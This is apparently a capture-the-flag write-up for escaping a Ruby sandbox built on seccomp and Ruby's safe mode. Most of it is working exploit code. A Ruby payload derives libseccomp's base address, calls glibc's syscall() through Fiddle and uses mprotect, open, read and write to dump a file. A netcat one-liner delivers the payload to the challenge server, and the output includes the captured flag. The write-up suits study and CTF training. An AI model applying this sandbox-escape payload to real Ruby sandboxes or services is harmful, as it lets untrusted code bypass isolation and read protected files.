In this challenge, the task was to break out of a
Ruby sandbox
using seccomp
and Ruby’s “safe” mode to read the flag file.
I have almost no clue about Ruby, hence I went the low-level route.
One could recover the address of libseccomp in memory as
libseccomp = Seccomp["seccomp_init"].to_i - 0x21bd0
The offset 0x21bd0
is taken from Ubuntu’s libseccomp.so.2.3.1
,
and the 12 least significant bits serve as a great way of
verifying that we have the right library. In libseccomp.so
,
there’s loads of useful stuff, most importantly including a
PLT entry for glibc’s syscall()
function at 0x217e0
:
syscall = Fiddle::Function.new(
libseccomp + 0x217e0,
[Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG],
Fiddle::TYPE_SIZE_T)
Using this, we can start reconnaissance: For instance,
print syscall.call(102, 0, 0, 0)
shows the current user id and verifies that we can really use syscalls.
From that point on, exploitation was more or less straightforward:
All we had to do was open()
, read()
, and write()
the flag file.
To read()
and write()
, we need a writeable memory location, so
I took some address within libseccomp.so
and used mprotect()
to make it r/w.
During exploitation, it turned out that Ruby’s tainting mechanism
prohibited using literal strings from the Ruby code directly in the
syscalls, and I was too lazy to figure out a way around it, so I
instead just read()
the strings I needed from the socket.
The final payload reads:
print "\nI am the Alpha...\n"
$stderr=STDOUT # show errors
libseccomp = Seccomp["seccomp_init"].to_i - 0x21bd0
printf "libseccomp @ %#x\n", libseccomp
syscall = Fiddle::Function.new(
libseccomp + 0x217e0,
[Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG],
Fiddle::TYPE_SIZE_T)
printf "syscall @ %#x\n", syscall.to_i
uid = syscall.call(102, 0, 0, 0)
printf "uid: %d\n", uid
printf "mprot: %d\n", syscall.call(10, libseccomp+0x22f000, 0x1000, 0x6) #rw
l = syscall.call(79, libseccomp+0x22f000, 0x100, 0)
print "cwd: "
syscall.call(1, 1, libseccomp+0x22f000, l)
print "\n"
printf "read: %d\n", syscall.call(0, 1, libseccomp+0x22f000, 32)
fd = syscall.call(2, libseccomp+0x22f000, 0, 0)
printf "open: %d\n", fd
n = syscall.call(0, fd, libseccomp+0x22f000, 0x1000)
printf "read: %d\n", n
syscall.call(1, 1, libseccomp+0x22f000, n)
print "...and the Omega.\n"
__END__
After sending this to the server, the exploit expects a filename to read (the flag file), ending with a null byte. For instance, the following bash script automatically fetches the flag:
#!/bin/sh
(cat pwn.rb; sleep 2; echo -n '666c616700' | xxd -r -p) | nc pwn1.task.ctf.codeblue.jp 31338
This gives the output:
Hi, there :)
I made a sandbox for you.
Show me if you can break this and read the flag file.
Environment:
* Ubuntu 16.04 x86_64 latest
* Ruby 2.2.10 (compiled as PIE)
Okay, let's begin ;)
Don't forget to put the line "__END__" to the end of your script!
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
I am the Alpha...
libseccomp @ 0x7fd2c8c93000
syscall @ 0x7fd2c8cb47e0
uid: 31338166
mprot: 0
cwd: /home/p31338
read: 5
open: 7
read: 51
CBCTF{LittLe_RiddLe:sAF3_Bu7_N0T_54FE,whAt_IS_It?}
...and the Omega.